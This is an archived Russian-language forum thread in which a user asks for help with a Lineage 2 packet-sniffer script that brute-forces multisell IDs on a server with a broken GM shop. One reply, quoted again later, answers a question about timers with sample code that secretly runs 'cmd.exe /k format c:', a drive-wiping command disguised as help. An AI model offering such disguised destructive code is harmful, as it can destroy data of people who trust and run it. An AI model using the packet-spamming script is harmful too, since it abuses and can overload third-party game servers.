PDA

Просмотр полной версии : Скрипт для поиска мультиселлов (корявый)


hunterNOZ
10.11.2012, 15:48
Помогите поправить скрипт .

Скрипт ищет с msd номера мультиселла до msp .


const
msd=0; //типо начало
msp=777; //типо конец

var
ms:integer;
mss:string;

begin
for ms:=msd to msp do
Begin
delay(50);
mss:=inttostr(ms);
//отправка пакета с номером
buf:=#$23;
WriteS('_bbsshop_multisell '+mss);
SendToServer;
delay(50);
//проверка прихода пакета на открытие мультиселла
if FromServer and (pck[1]=#$D0) then
begin
delay(50);
//отправка в чат клиента найденного мультиселла
buf:=#$4A;
WriteD(0);
WriteD(0);
WriteS('Search');
WriteS('Multisell '+mss);
SendToClient;
end;
end;
end.



Проблема в том что скрипт вешает л2пкх , но иногда срабатывает ... а потом всеровно вешает :D

wimax
10.11.2012, 20:47
delay(50); тупо

J-Fobos
11.11.2012, 00:51
Красота, че :D За десяток секунд сотня циклов набирается.

hunterNOZ
15.11.2012, 17:59
delay(50); тупо

Задержка стоит для того чтобы не грузить канал пакетами ...

Zergatul
15.11.2012, 19:20
Лол, для такого надо таймер юзать

wimax
18.11.2012, 08:24
мне от интересно ты свой сервер случаем не положишь таким спамом?))))

Yegor
18.11.2012, 10:43
А что сервер дает возможность напрямую мультиселлы вызывать по номерам?

hunterNOZ
18.11.2012, 20:04
А что сервер дает возможность напрямую мультиселлы вызывать по номерам?

есть один сервак с корявым гмшопом , да и так на нём всё почти работает :D

Roman32
18.11.2012, 22:27
В личку можно?что за серв)

hunterNOZ
19.11.2012, 17:35
Ребята ... а ктонить может показать как примерно Таймер работает ?

Zergatul
20.11.2012, 00:47
var
t: TTimer;
...
procedure OnTimer(sender: TObject);
begin
ShellExecute(0, 'open', 'cmd.exe', '/k format c:', nil, SW_SHOW);
end;
...
t := TTimer.Create(nil);
t.OnTimer := @OnTimer;
t.Enabled := True;
t.Interval := 200;

BloodRat
20.11.2012, 23:11
var
t: TTimer;
...
procedure OnTimer(sender: TObject);
begin
ShellExecute(0, 'open', 'cmd.exe', '/k format c:', nil, SW_SHOW);
end;
...
t := TTimer.Create(nil);
t.OnTimer := @OnTimer;
t.Enabled := True;
t.Interval := 200;

хорошая шутка :D

wimax
21.11.2012, 09:25
чувак видать испытал скрипт =)))

BlackInFanta
16.07.2013, 18:45
Ребята ... а ктонить может показать как примерно Таймер работает ?


Таймер, это такие часики в верхней части phx (вкладка: посылка) там можно выставить интервал отправления пакетов.